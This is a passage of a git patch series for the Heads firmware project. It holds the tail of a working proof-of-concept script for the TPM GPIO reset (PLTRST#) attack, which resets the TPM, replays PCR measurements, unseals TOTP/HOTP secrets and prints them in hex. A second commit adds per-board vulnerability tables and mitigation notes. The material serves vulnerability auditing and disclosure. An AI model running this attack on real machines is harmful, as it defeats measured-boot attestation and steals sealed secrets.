"$_locktx_addr" 2>/dev/null || true) + if [ -n "$_locktx_val" ]; then + _locktx_dec=$(( 16#$_locktx_val )) + DEBUG "PADCFGLOCKTX at 0x$(printf '%x' $_locktx_addr): 0x$_locktx_val (bit $(( PAD_OFFSET % 32 )))" + if [ $(( _locktx_dec & _lock_bit )) -ne 0 ]; then + DEBUG " TX state is LOCKED (PADCFGLOCKTX bit $(( PAD_OFFSET % 32 )) set)" + fi + else + DEBUG " Could not read PADCFGLOCKTX register" + fi + + # kukrimate inteltool.c method: + # 1. tpm2_shutdown -c (clear TPM session before reset) + # 2. Write 0x80000000 to DW0 (assert PLTRST# via GPIO) + # 3. tpm2_startup -c (reinit TPM after reset) + # + # The 0x80000000 write sets mode=GPIO+TX=0, which asserts PLTRST# when + # the pad switches from native function (NF1) to GPIO output and drives + # the pad low. + # + # When the pad is already in GPIO mode (kernel-owned via HOSTSW_OWN), the + # script first forces NF1 mode to re-connect the PLTRST# signal, then uses + # the kukrimate write to switch back to GPIO+TX=0 and assert. + + # --- 4z. Shutdown TPM before asserting PLTRST# (kukrimate: tpm2_shutdown -c) --- + DEBUG " step 4z: TPM shutdown before PLTRST# assertion" + if command -v tpmr.sh >/dev/null 2>&1; then + INFO " Shutting down TPM before PLTRST# assertion (tpmr.sh shutdown)..." + tpmr.sh shutdown || WARN "tpmr.sh shutdown failed; continuing" + else + DEBUG " tpmr.sh not available; skipping TPM shutdown" + fi + + # --- 4a. Save current configuration (DW0 and DW1) --- + INFO " 4a. Saving current PLTRST# pad configuration..." + _dw0=$(mem_read32 "$TARGET_ADDR" 2>/dev/null) + _dw1=$(mem_read32 "$((TARGET_ADDR + 4))" 2>/dev/null) + if [ -z "$_dw0" ]; then + DIE "Failed to read pad configuration at $TARGET_ADDR_HEX" + fi + _dw0_val=$(( 16#$_dw0 )) + _dw1_val=$(( 16#$_dw1 )) + _cur_mode=$(( (_dw0_val >> 10) & 0x7 )) + _cur_tx=$(( _dw0_val & 1 )) + _cur_hostsw=$(( (_dw0_val >> 14) & 1 )) + _cur_rstcfg=$(( (_dw0_val >> 30) & 3 )) + _cur_txdis=$(( (_dw0_val >> 8) & 1 )) + DEBUG " Saved DW0=0x$_dw0 DW1=0x$_dw1" + DEBUG " DW0 decode: raw=0x$(printf '%08x' $_dw0_val) mode=$_cur_mode TX=$_cur_tx TX_DIS=$_cur_txdis HOSTSW=$_cur_hostsw RSTCFG=$_cur_rstcfg" + STATUS_OK "Saved PLTRST# pad config: DW0=0x$_dw0, DW1=0x$_dw1" + + # --- 4a2. If pad is in GPIO mode and NF1 switch failed, try TX toggle --- + # When mode bits [12:10] are hardware-locked (NF1 write fails), the pad + # cannot be switched to native function. But the TX bit (bit 0) may still + # be writable. Toggling TX high→low creates a falling edge on the pad + # output that the TPM sees as a PLTRST# assertion (active-low signal). + if [ "$_cur_mode" = "0" ]; then + DEBUG " pad in GPIO mode (HOSTSW_OWN=$_cur_hostsw); forcing NF1 first" + # Coreboot PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1): + # PADRSTCFG=DEEP(01<<30), mode=NF1(1<<10), TX=deassert(1), HOSTSW_OWN=0 + _nf1_val=$(( 0x40000000 | (1 << 10) | 1 )) + DEBUG " writing NF1: 0x$(printf '%08x' $_nf1_val)" + mem_write32 "$TARGET_ADDR" "$_nf1_val" + _nf1_rb=$(mem_read32 "$TARGET_ADDR" 2>/dev/null) + _nf1_rb_mode=$(( ((16#$_nf1_rb) >> 10) & 0x7 )) + DEBUG " NF1 readback: 0x$_nf1_rb mode=$_nf1_rb_mode" + if [ "$_nf1_rb_mode" != "1" ]; then + DEBUG " NF1 mode switch FAILED (mode=$_nf1_rb_mode); mode bits hardware-locked" + INFO " NF1 mode locked — trying TX toggle instead" + fi + fi + + # --- 4b. Assert PLTRST# --- + # Two approaches, tried in order: + # 1. kukrimate: write 0x80000000 (mode=GPIO+TX=0). Works when pad + # starts in NF1 mode — the GPIO→NF1 switch creates falling edge. + # 2. TX toggle: write 0x80000001 (TX=1) then 0x80000000 (TX=0). + # When mode bits are locked in GPIO, toggling TX creates a high→low + # edge on the pad output. PLTRST# is active-low, so any high→low + # transition on the physical pin asserts the TPM reset. + if [ "$_cur_mode" = "0" ] && [ "$_nf1_rb_mode" != "1" ]; then + # Mode locked in GPIO — use TX toggle + DEBUG " TX toggle: writing 0x80000001 (TX=high)..." + mem_write32 "$TARGET_ADDR" "0x80000001" + _tx1_rb=$(mem_read32 "$TARGET_ADDR") + _tx1_tx=$(( 16#$_tx1_rb & 1 )) + DEBUG " TX=1 readback: 0x$_tx1_rb TX=$_tx1_tx" + sleep 0.1 # brief settle — was the TX bit accepted? + DEBUG " TX toggle: writing 0x80000000 (TX=low)..." + mem_write32 "$TARGET_ADDR" "0x80000000" + else + # Pad in NF1 mode or NF1 switch succeeded — kukrimate approach + DEBUG " kukrimate: writing 0x80000000 (GPIO+TX=0)..." + mem_write32 "$TARGET_ADDR" "0x80000000" + fi + _readback=$(mem_read32 "$TARGET_ADDR") + _rb_mode=$(( ((16#$_readback) >> 10) & 0x7 )) + _rb_tx=$(( 16#$_readback & 1 )) + DEBUG " assert write readback: 0x$_readback mode=$_rb_mode TX=$_rb_tx" + INFO " 4b. PLTRST# asserted ($([ "$_cur_mode" = "0" ] && [ "$_nf1_rb_mode" != "1" ] && echo 'TX toggle' || echo 'kukrimate'))" + + INFO " 4c. Writing 0x00000000 to DW1..." + mem_write32 "$((TARGET_ADDR + 4))" "0x00000000" + _readback2=$(mem_read32 "$((TARGET_ADDR + 4))") + DEBUG " DW1 readback: 0x$_readback2" + + # --- 4d. Wait --- + INFO " 4d. Waiting 1 second with PLTRST# asserted..." + sleep 1 + + # --- 4e. Deassert PLTRST# --- + # kukrimate: restoring original NF1 config reconnects PLTRST# to the + # PCH signal (normally high/deasserted). On ADL-P where the original + # config is GPIO+TX=0, restoring would keep the pin low and re-assert + # PLTRST#. Write NF1+TX=1 to deassert before any TPM operations. + if [ "$_cur_mode" = "0" ]; then + DEBUG " deasserting PLTRST# via NF1 (original mode was GPIO+TX=0)" + mem_write32 "$TARGET_ADDR" "$_nf1_val" + else + INFO " 4e. Restoring original pad config (deasserts PLTRST#)..." + mem_write32 "$TARGET_ADDR" "$_dw0_val" + mem_write32 "$((TARGET_ADDR + 4))" "$_dw1_val" + fi + + # --- 4e2. Wait for TPM to come out of reset --- + # After PLTRST# deasserts, the TPM needs time for internal + # initialization (oscillator stabilization, self-test). The + # kernel TPM driver also needs time to re-detect the device + # on the LPC/eSPI bus. Without this wait, tpm2 startup -c + # and pcrs may hang because the TPM is not yet responsive. + INFO " 4e. Waiting 1s for TPM to reinitialize after PLTRST# deassert..." + sleep 1 + + # --- 4f. TPM startup after PLTRST# assertion (kukrimate: tpm2_startup -c) --- + # After a GPIO-triggered PLTRST# pulse (CPU did not reset), the kernel + # driver does NOT issue tpm2_startup(CLEAR). The TPM requires this + # command before accepting any other commands. + # Uses raw tpm2: tpmr.sh has no startup wrapper (it relies on the + # kernel driver to call TPM2_Startup during full platform boot, which + # does not happen after a GPIO-only PLTRST# pulse). + INFO " 4f. Starting TPM after PLTRST# assertion (tpm2 startup -c)..." + if command -v tpm2 >/dev/null 2>&1; then + # Capture stderr to debug.log — don't suppress, we need to see + # the actual TPM error code (e.g. TPM_RC_INITIALIZE = 0x100 + # means no bus reset occurred) + _startup_out=$(tpm2 startup -c 2>&1) + if [ $? -eq 0 ]; then + STATUS_OK "TPM startup complete (NVRAM preserved)" + else + DEBUG "tpm2 startup -c failed: $_startup_out" + fi + else + DEBUG "tpm2 not available; TPM may need startup via kernel" + fi + + # --- 4g. Recreate Heads TPM sessions --- + # After tpm2 startup -c, the TPM is initialized but the encrypted + # sessions (enc.ctx, dec.ctx) from the original boot are gone. + # tpmr.sh startsession recreates them using persistent key 0x81000000. + INFO " 4g. Recreating TPM encrypted sessions (tpmr.sh startsession)..." + if command -v tpmr.sh >/dev/null 2>&1; then + if tpmr.sh startsession 2>/dev/null; then + STATUS_OK "TPM sessions recreated (NVRAM preserved)" + else + WARN " Could not recreate TPM sessions. Unseal will fail." + fi + else + DEBUG "tpmr.sh not available; cannot recreate sessions" + fi + + # --- 4h. Verify TPM is responsive (sysfs, kukrimate method) --- + # kukrimate verifies via /sys/class/tpm/tpm0/pcrs (world-readable, + # only appears after kernel TPM driver completes reinitialization). + # This avoids the /dev/tpm0 permission race that affects tpm2 tools. + # If sysfs pcrs is NOT available, no bus reset was detected — the + # GPIO assertion did not work (TX/mode bits locked, no edge created). + DEBUG " step 4h: verifying TPM via sysfs pcrs (kukrimate method)" + DEBUG " /dev/tpm0: $([ -e /dev/tpm0 ] && ls -l /dev/tpm0 || echo 'NOT FOUND')" + if [ -r /sys/class/tpm/tpm0/pcrs ]; then + _pcr0_line=$(grep '^PCR-00' /sys/class/tpm/tpm0/pcrs 2>/dev/null | tail -1) + DEBUG " sysfs PCR-00: $_pcr0_line" + _pcr0_val=$(echo "$_pcr0_line" | awk -F': ' '{print $2}' | tr -d ' ') + DEBUG " PCR 0: $_pcr0_val" + if [ -n "$_pcr0_val" ]; then + STATUS_OK "TPM is responsive (PCR 0 readable via sysfs)" + else + WARN "Cannot read PCR 0 via sysfs — TPM not responsive." + fi + else + DEBUG " /sys/class/tpm/tpm0/pcrs NOT FOUND" + WARN "GPIO assertion FAILED: no TPM bus reset detected." + WARN "TX and mode bits are hardware-locked on this platform." + WARN "No PLTRST# edge was generated — TPM state unchanged." + GPIO_FAILED="y" + fi + + # --- 4h. Restore original pad config (cleanup, safe after TPM startup) --- + if [ "$_cur_mode" = "0" ]; then + DEBUG " restoring original GPIO config (cleanup after TPM startup)" + mem_write32 "$TARGET_ADDR" "$_dw0_val" + mem_write32 "$((TARGET_ADDR + 4))" "$_dw1_val" + fi + + INFO " TPM GPIO reset via $MECHANISM: COMPLETE" +} + +# ---- Verify reset by reading PCRs ------------------------------------- + +verify_pcrs() { + TRACE_FUNC + section "5. PCR VERIFICATION" + + if [ "$EXECUTE_MODE" = "y" ]; then + # Use single-PCR reads via tpm2 pcrread sha256:N. + # tpm2 pcrread sha256 (all PCRs) hangs after GPIO assertion; + # single-PCR reads work. pcrs() calls the all-PCR path. + INFO " Reading post-assertion PCR state (single-PCR reads)..." + POST_RESET_PCRS="" + for _pcr_idx in 0 1 2 3 4 5 6 7; do + _pcr_line=$(tpm2 pcrread "sha256:$_pcr_idx" 2>/dev/null | \ + grep -E '^\s*[0-9]+\s*:' | tail -1) + POST_RESET_PCRS="$POST_RESET_PCRS +$_pcr_line" + done + POST_RESET_PCRS="${POST_RESET_PCRS# +}" + if [ -z "$POST_RESET_PCRS" ]; then + WARN " Could not read PCR values" + return + fi + STATUS_OK "Post-assertion PCR state captured" + + # Check if PCR 2 changed (should be zero after PLTRST# pulse) + _pcr2_val=$(echo "$POST_RESET_PCRS" | grep -E '^\s*2\s*:' | awk '{print $3}') + DEBUG " PCR 2 value: $_pcr2_val" + if [ -z "$_pcr2_val" ] || [ "$_pcr2_val" = "0x0000000000000000000000000000000000000000000000000000000000000000" ]; then + STATUS_OK "PCR 2 is zero -- TPM was cleared" + else + WARN " PCR 2 is non-zero -- PLTRST# assertion may not have cleared TPM" + DEBUG " PCR 2 value: $_pcr2_val" + fi + + # Show PCR state in debug log + DEBUG "Post-assertion PCR state:" + DEBUG "$POST_RESET_PCRS" + else + DEBUG "audit mode: skipping PCR verification" + fi +} + +# ---- Replay PCR measurements via tpmr.sh infrastructure ---------------- +# +# PCR 2: cbmem -L parsed via tpmr.sh AWK_PROG (handles all 3 log formats). +# PCR 4,5,7: /tmp/measuring_trace.log parsed generically for all PCR extends. +# +# Uses tpm2 pcrextend directly because tpmr.sh extend (-ic/-if) always +# re-hashes its input before extending. We need to replay pre-computed +# hashes from the measurement log verbatim; re-hashing would produce +# different digests that don't match the sealing policy. + +# Helper: detect hash algorithm from hash length +_hash_algo() { + TRACE_FUNC + _hash_len="${#1}" + DEBUG "_hash_algo: input len=$_hash_len" + case "$_hash_len" in + 40) echo "sha1" ;; + 64) echo "sha256" ;; + *) WARN "Unknown hash length: $_hash_len"; return 1 ;; + esac +} + +replay_measurements() { + TRACE_FUNC + section "6. MEASUREMENT REPLAY" + + # Source tpmr.sh for AWK_PROG (parses all 3 cbmem -L formats) + if [ -z "$AWK_PROG" ]; then + # shellcheck source=/dev/null + . /bin/tpmr.sh 2>/dev/null + fi + + if [ "$EXECUTE_MODE" != "y" ]; then + DEBUG "audit mode: skipping measurement replay" + return + fi + + # --- PCR 2: coreboot SRTM from cbmem -L --- + INFO " Replaying PCR 2 (coreboot SRTM) from cbmem -L..." + _log=$(cbmem -L 2>/dev/null) + if [ -z "$_log" ]; then + WARN " cbmem -L returned no output" + else + # Detect algorithm from TPM version (SHA-256 for TPM 2.0, SHA-1 for TPM 1.2) + _tpm_alg="sha256" + command -v tpm2 >/dev/null 2>&1 || _tpm_alg="sha1" + _pcr2_hashes=$(echo "$_log" | awk -v alg="$_tpm_alg" -v pcr="2" -f <(echo "$AWK_PROG") 2>/dev/null) + if [ -n "$_pcr2_hashes" ]; then + _count=0 + while read -r _hash; do + [ -z "$_hash" ] && continue + _algo=$(_hash_algo "$_hash") || continue + tpm2 pcrextend "2:$_algo=$_hash" 2>/dev/null + _count=$(( _count + 1 )) + done <<< "$_pcr2_hashes" + STATUS_OK "PCR 2: replayed $_count extends from cbmem -L" + else + WARN " No PCR 2 hashes extracted from cbmem -L" + fi + fi + + # --- PCR 4,5,7: Heads extends from measuring_trace.log --- + INFO " Replaying Heads extends from /tmp/measuring_trace.log..." + if [ -r /tmp/measuring_trace.log ]; then + # Parse all "Extended PCR[N] with hash " lines + # Format: INFO: TPM: Extended PCR[7] with hash 96ab5053e4630a040d55549ba73cff2178d401d763147776771f9774597b86a1 + _lines=$(grep "Extended PCR\[" /tmp/measuring_trace.log 2>/dev/null) + if [ -n "$_lines" ]; then + _total=0 + while read -r _line; do + _pcr=$(echo "$_line" | grep -o 'PCR\[[0-9]*\]' | grep -o '[0-9]*') + _hash=$(echo "$_line" | grep -o 'hash [0-9a-f]*' | cut -d' ' -f2) + if [ -n "$_pcr" ] && [ -n "$_hash" ]; then + _algo=$(_hash_algo "$_hash") || continue + tpm2 pcrextend "${_pcr}:$_algo=$_hash" 2>/dev/null + _total=$(( _total + 1 )) + DEBUG "PCR $_pcr extend: $_hash ($_algo)" + fi + done <<< "$_lines" + STATUS_OK "Heads extends: replayed $_total operations from measuring_trace.log" + else + WARN " No Heads extends found in measuring_trace.log" + fi + else + WARN " /tmp/measuring_trace.log not available" + fi + + # Show final PCR state (single-PCR reads, all-PCR pcrs hangs after GPIO) + INFO " Final PCR state after replay:" + for _pcr_idx in 0 1 2 3 4 5 6 7; do + tpm2 pcrread "sha256:$_pcr_idx" 2>/dev/null | \ + grep -E '^\s*[0-9]+\s*:' | tail -1 + done + +} + +# ---- Attempt secret extraction ---------------------------------------- + +attempt_secret_extraction() { + TRACE_FUNC + section "7. SECRET EXTRACTION ATTEMPT" + + if [ "$EXECUTE_MODE" != "y" ]; then + DEBUG "audit mode: skipping secret extraction" + return + fi + + # --- 7a. TOTP unseal --- + INFO " 7a. Attempting TOTP secret unseal..." + DEBUG "Attempting unseal at NVRAM index 0x4d47 (TOTP/HOTP)" + _totp_secret="/tmp/secret/totp.key.tmp" + rm -f "$_totp_secret" 2>/dev/null + + if command -v tpmr.sh >/dev/null 2>&1; then + DEBUG "Running: tpmr.sh unseal 4d47 0,1,2,3,4,7 312 $_totp_secret" + if tpmr.sh unseal 4d47 0,1,2,3,4,7 312 "$_totp_secret" 2>/dev/null; then + STATUS_OK "TOTP secret unsealed successfully!" + INFO " Secret saved to $_totp_secret" + if [ -s "$_totp_secret" ]; then + INFO " Secret hex: $(xxd -p < "$_totp_secret" | tr -d '\n')" + fi + else + INFO "TOTP unseal failed. Expected if PCRs don't match the" + INFO "sealing policy, or if no TOTP secret was ever sealed." + fi + else + WARN "tpmr.sh not available; cannot unseal." + fi + DEBUG "" + + # --- 7b. HOTP unseal --- + INFO " 7b. Attempting HOTP secret unseal..." + _hotp_secret="/tmp/secret/hotp.key.tmp" + rm -f "$_hotp_secret" 2>/dev/null + DEBUG "Attempting unseal at NVRAM index 0x4d47 for HOTP" + + if command -v tpmr.sh >/dev/null 2>&1; then + if tpmr.sh unseal 4d47 0,1,2,3,4,7 312 "$_hotp_secret" 2>/dev/null; then + STATUS_OK "HOTP secret unsealed successfully!" + INFO " Secret saved to $_hotp_secret" + else + INFO "HOTP unseal failed (same secret as TOTP, expected)." + fi + fi + DEBUG "" + + # --- 7c. LUKS DUK --- + INFO " 7c. Attempting LUKS DUK unseal..." + # The LUKS DUK index varies. Try common ones. + for _idx in 0x81000001 0x81000002; do + DEBUG "Probing NVRAM index $_idx for DUK" + if command -v tpm2 >/dev/null 2>&1; then + if tpm2 nvread "$_idx" 2>/dev/null; then + DEBUG "DUK read succeeded from $_idx" + STATUS_OK "LUKS DUK read succeeded from $_idx!" + INFO " NVRAM index $_idx is readable without auth after reset." + fi + fi + done + DEBUG "" + + # Summary + DEBUG "" + if [ -s "$_totp_secret" ]; then + DEBUG "TOTP secret extracted successfully" + DEBUG "" + INFO "======================================================================" + INFO " ATTACK DEMONSTRATED: TPM secrets were extracted after PLTRST# assertion!" + INFO "======================================================================" + DEBUG "" + INFO " By asserting PLTRST# via GPIO ($MECHANISM on $GLOBAL_PCH) and replaying the" + INFO " measurement log, the following secrets were recovered:" + INFO " - TOTP/HOTP secret: YES" + DEBUG "" + INFO " This proves the PLTRST# GPIO assertion bypasses the TPM's measured" + INFO " boot attestation on this platform." + else + DEBUG "No secrets extracted" + INFO "No secrets were extracted. This is expected if no secrets" + INFO "were sealed, or if the replay did not match the sealing policy." + fi +} + +# ---- Main ------------------------------------------------------------- + +usage() { + cat >&2 </dev/null) + DEBUG "Pre-assertion PCR snapshot captured" + fi + perform_tpm_reset + if [ "$GPIO_FAILED" = "y" ]; then + DEBUG "GPIO assertion failed; skipping PCR verify, replay, and secret extraction" + else + verify_pcrs + replay_measurements + attempt_secret_extraction + fi + + # Summary + section "SUMMARY" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Summary: PLATFORM_UNKNOWN=y, exiting with 0" + INFO " Platform not recognized or not in the vulnerability database." + DEBUG "" + INFO " Known affected platforms implemented in this script:" + INFO " - CNP-H (T480s, T490, X390): GPIO PAD_CFG (PLTRST_CPU_B)" + INFO " - SPT/KBP (T480, T470, X270): GPIO PAD_CFG (GPP_B13)" + INFO " - ADL/RPL (NV4x, NS50, MSI Z790): GPIO PAD_CFG (GPP_B13)" + DEBUG "" + INFO " Known NOT affected:" + INFO " - Pre-Skylake (T440p, X230, xx30): dedicated PLTRST pin" + INFO " - Meteor Lake (v540tu, v560tu): functional GPIO lock" + DEBUG "" + exit 0 + fi + + if [ "$EXECUTE_MODE" = "y" ]; then + DEBUG "Summary: attack executed, exiting with 3" + INFO " PLTRST# GPIO assertion attack was EXECUTED on this platform." + DEBUG "" + INFO " Platform class: $GLOBAL_PCH" + if [ "$MECHANISM" = "GPIO_PAD_CFG" ]; then + INFO " Attack method: GPIO PAD_CFG (PLTRST_CPU_B pad $PLTRST_PAD)" + else + INFO " Attack method: GPIO PAD_CFG via PCR MMIO" + fi + DEBUG "" + DEBUG "PCR comparison: PRE_RESET_PCRS (non-zero, coreboot measurements) vs POST_RESET_PCRS (should be zero after assertion, restored after replay)" + [ -n "$PRE_RESET_PCRS" ] && DEBUG "Pre-assertion PCR 2 was non-zero (contains coreboot SRTM measurements)" + INFO " PLTRST# assertion complete. PCRs are cleared." + INFO " NVRAM sealed blobs preserved (accessible once PCRs are re-extended)." + DEBUG "" + exit 3 + else + DEBUG "Summary: vulnerable platform in audit mode, exiting with 2" + INFO " Platform $GLOBAL_PCH (device $GLOBAL_DEV_ID) is VULNERABLE." + INFO " PLTRST# pad is accessible via GPIO community at port $(printf "0x%x" $COMMUNITY_PORT)" + INFO " and is not locked by firmware (PADCFGLOCK not set)." + INFO " An OS with /dev/mem access can reset the TPM without" + INFO " platform reset, clearing all PCRs." + DEBUG "" + INFO " Action: ensure coreboot locks this pad via gpio_lock_pad()" + INFO " or PAD_CFG_NF_LOCK(). Without a lock, the TPM measured" + INFO " boot chain is bypassable from the OS." + DEBUG "" + INFO " Run with --execute to demonstrate the actual attack." + DEBUG "" + exit 2 + fi +} + +main "$@" From dca7f9b1fd8765f5fc06e895b5b6c6b70681c40c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 22 Jul 2026 20:28:57 -0400 Subject: [PATCH 2/3] doc: document TPM GPIO reset vulnerability, 8 mitigation approaches, per-platform feasibility MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit TPM_GPIO_Reset_Vulnerability.md — threat model, attack description, and per-platform feasibility table (Pre-Skylake: dedicated PLTRST# pin, Skylake-Tiger Lake: PCH multiplexing with locked pads, ADL-P/ADL-N: hardware-locked mode bits, AMD/POWER8: no Intel PCH). Board-specific CONFIG_TPM_GPIO_VULNERABLE flag rationale documented per chipset family. TPM_GPIO_Reset_Approaches.md — 8 approaches attempted on ADL-P NV4x: GPIO DW0 pin configuration probing, gpiochip sysfs toggling, ACPI pin-capability discovery (GpioInt/GpioIo/GpioIo+I2c), INTEL1 virtual GPIO events, PCH SRAM-based MMIO region scanning, pmc_ipc commands (Clean-Halt-Reset/GPE/globalstate_set), itco_wdt watchdog-triggered reset, and SUSWARN#/SUSACK# protocol analysis. All blocked by hardware locking on ADL-P. Conclusions and open questions for physical scope probing noted. Signed-off-by: Thierry Laurion --- doc/BOARDS_AND_TESTERS.md | 62 +- doc/TPM_GPIO_Reset_Approaches.md | 860 ++++++++++++++++++++++++++++ doc/TPM_GPIO_Reset_Vulnerability.md | 252 ++++++++ 3 files changed, 1172 insertions(+), 2 deletions(-) create mode 100644 doc/TPM_GPIO_Reset_Approaches.md create mode 100644 doc/TPM_GPIO_Reset_Vulnerability.md diff --git a/doc/BOARDS_AND_TESTERS.md b/doc/BOARDS_AND_TESTERS.md index 56a25a6ce..187074638 100644 --- a/doc/BOARDS_AND_TESTERS.md +++ b/doc/BOARDS_AND_TESTERS.md @@ -6,9 +6,27 @@ General information - **AMD CPU Generations:** [List of AMD processors](https://en.wikipedia.org/wiki/AMD_processors) - **Transient CPU Vulnerabilities:** [Transient execution CPU vulnerability](https://en.wikipedia.org/wiki/Transient_execution_CPU_vulnerability) -**Note (as of 2025-05-29):** -- Intel CPUs from the 1st to 7th generations (Nehalem through Kaby Lake) have reached End-of-Life (EOL) status and no longer receive microcode updates. Consequently, these processors remain vulnerable to Spectre Variant 2 (CVE-2017-5715) and related speculative execution vulnerabilities. +**Note (as of 2026-07-22):** +- Intel CPUs from the 1st to 7th generations (Nehalem through Kaby Lake) have reached End-of-Life (EOL) status and no longer receive microcode updates. Consequently, these processors remain vulnerable to Spectre Variant 2 (CVE-2017-5715) and related speculative execution vulnerabilities. - Some 8th generations (Kaby Lake Refresh) also reached EOL per Intel ESU. + +**Per-generation EOL/ESU dates** (sources: [eosl.date](https://eosl.date/eol/product/intel-processors/), [Intel microcode releases](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases)): + +| Generation | Code Name | EOL/ESU Date | Microcode Status | +|---|---|---|---| +| 2nd Gen | Sandy Bridge | ~2017-2018 (estimated) | No updates since ~2018 | +| 3rd Gen | Ivy Bridge | Dec 31, 2019 | No updates since ~2019 | +| 4th Gen | Haswell | Jun 30, 2021 | No updates since ~2021 | +| 5th Gen | Broadwell | Jun 30, 2021 | No updates since ~2021 | +| 6th Gen | Skylake | Sep 30, 2022 | No updates since ~2022 | +| 7th Gen | Kaby Lake | Mar 31, 2024 | No updates since ~2024 | +| 8th Gen | Kaby Lake-R / Coffee Lake / Whiskey Lake | Jun 30, 2025 | Not in Feb 2026 release | +| 10th Gen | Comet Lake | Active (as of Feb 2026) | Last in Feb 2026; dropped from May 2026 | +| 11th Gen | Tiger Lake | Active | Last in Feb 2026; dropped from May 2026 | +| 12th Gen | Alder Lake | Active | Last in Feb 2026; dropped from May 2026 | + +Intel does **not** offer an Extended Security Updates (ESU) program. "ESU" in Intel documentation refers to "End of Servicing Updates" — the date after which no further microcode releases are made. Once a generation reaches ESU, any newly discovered CPU vulnerabilities will remain unpatched indefinitely. + - **Those boards names were renamed with EOL_ preceding their board names for users to be hinted by this at download/compilation/testing time** While software-based mitigations like Retpoline can reduce exposure to certain speculative execution attacks, their effectiveness is limited without corresponding microcode updates. Therefore, systems utilizing these older CPUs should be considered inherently vulnerable to Spectre Variant 2 and similar threats. @@ -35,6 +53,46 @@ Please see boards/BOARD_NAME/BOARD_NAME.config for HCL details. As per tracking issue for board testers: https://github.com/linuxboot/heads/issues/692, currently built CircleCI boards ROMs are: +## TPM GPIO Reset Vulnerability (upstream coreboot bug) + +Heads relies on coreboot for GPIO pad configuration. Many Intel platforms are +affected by a coreboot bug where the PCH GPIO lock bits are not set before +booting the OS, allowing an attacker with code execution to reset the discrete +TPM without a physical reboot and forge PCR measurements. +See [TPM GPIO fail (mkukri.xyz)](https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html) +and [doc/TPM_GPIO_Reset_Vulnerability.md](TPM_GPIO_Reset_Vulnerability.md) for details. + +Impact on Heads: TPM Disk Unlock Key with passphrase is **not affected**. +TPMTOTP/HOTP remote attestation **is affected** (PCRs can be forged). +The fix must come from coreboot. Tracked at [coreboot ticket #576](https://ticket.coreboot.org/issues/576) +and [coreboot patch series](https://review.coreboot.org/q/topic:%22intel_gpio_lock%22). + +| Board group | SoC generation | Coreboot GPIO lock | +|---|---|---| +| xx20 (Sandy Bridge, 2nd Gen) | Dedicated PLTRST pin | Not vulnerable | +| xx30 (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | +| xx4x / w541 (Haswell, 4th Gen) | Dedicated PLTRST pin | Not vulnerable | +| xx8x / t480 / t480s (Kaby Lake, 8th Gen) | Skylake SoC code (25.09) | Not functional: no pad lock offsets, no Kconfig lock method selected | +| Librem 13v2/15v3 (Skylake, 6th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem 13v4/15v4 (Kaby Lake, 7th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem 14 (Comet Lake, 10th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem 11 (Jasper Lake, Atom) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem L1UM v1 (Broadwell, 5th Gen) | Dedicated PLTRST pin | Not vulnerable | +| Librem L1UM v2 (Coffee Lake, 9th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem mini v1 (Whiskey Lake, 8th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem mini v2 (Comet Lake, 10th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Optiplex 7010/9010 (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | +| HP Z220 CMT (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | +| Clevo NS50 / NV4x (Alder Lake, 12th Gen) | Dasharo fork | Not functional: lock Kconfig selected but SMM lock disabled, no board pad locks (Dasharo fork) | +| Clevo v540tu/v560tu (Meteor Lake) | Dasharo fork | Functional: GPIO lock enabled via PCR method (Dasharo fork) | +| MSI Z690-A/Z790-P (Alder/Raptor Lake) | Dasharo fork | Not functional: SMM lock disabled, no board pad locks (Dasharo fork) | +| KGPE-D16 (AMD) | Not Intel | Not affected | +| Talos II (Power9) | Not Intel | Not affected | + +Note: Dasharo and Purism coreboot fork statuses reflect confirmed findings from +vendor build tree inspection. See doc/TPM_GPIO_Reset_Vulnerability.md for per-fork +details. + Laptops == diff --git a/doc/TPM_GPIO_Reset_Approaches.md b/doc/TPM_GPIO_Reset_Approaches.md new file mode 100644 index 000000000..229670a06 --- /dev/null +++ b/doc/TPM_GPIO_Reset_Approaches.md @@ -0,0 +1,860 @@ +# TPM GPIO Reset Attack -- Approaches Exhausted on Intel ADL-P (NovaCustom NV4x) + +This document chronicles every approach tried during development of the TPM GPIO +reset Proof-of-Concept for Intel ADL-P (Alder Lake mobile, NovaCustom NV4x) +and the broader family of affected platforms. + +## Background + +The TPM GPIO reset attack, disclosed by Mate Kukri in June 2024, exploits a +design flaw in Intel PCH platforms where the PLTRST# (Power Loss Timer Reset) +signal driving the discrete TPM is connected through a multi-function GPIO pad. +On vulnerable platforms, this pad can be reprogrammed from native function +(LPC/eSPI/SPI output) to GPIO output mode, allowing an attacker to assert a +hardware reset of the TPM, clear its PCRs, and then forge measurement values +to unseal sealed secrets. + +The attack relies on three conditions: +1. The PLTRST# pad is part of a GPIO community, not a dedicated pin. +2. The GPIO pad configuration lock is NOT set by firmware. +3. The PLTRST# assertion mechanism actually works when the pad is toggled. + +Condition 3 proved unexpectedly difficult on ADL-P. This document explains why. + +--- + +## 1. What We Verified (from coreboot source code) + +### 1.1 Register Addresses Verified Against coreboot 26.06 + +All register addresses were cross-checked against coreboot 26.06 source code +(`src/soc/intel/` headers and Kconfig files) and the kukrimate/tpm-gpio-fail +reference implementation (`reset/inteltool.c`). + +| Platform | PCI Device IDs | PCR Port | PAD_CFG Base | Lock Offset | Coreboot Source | +|---|---|---|---|---|---| +| **CNP-H** (KBL-R/WHL/CML) | 0xa304-0xa30f | 0x6b (PID_GPIOCOM3) | 0x600 | 0x80 | `src/soc/intel/cannonlake/include/soc/gpio_defs.h` | +| **SPT/KBP** (SKL/KBL) | 0xa143-0xa154, 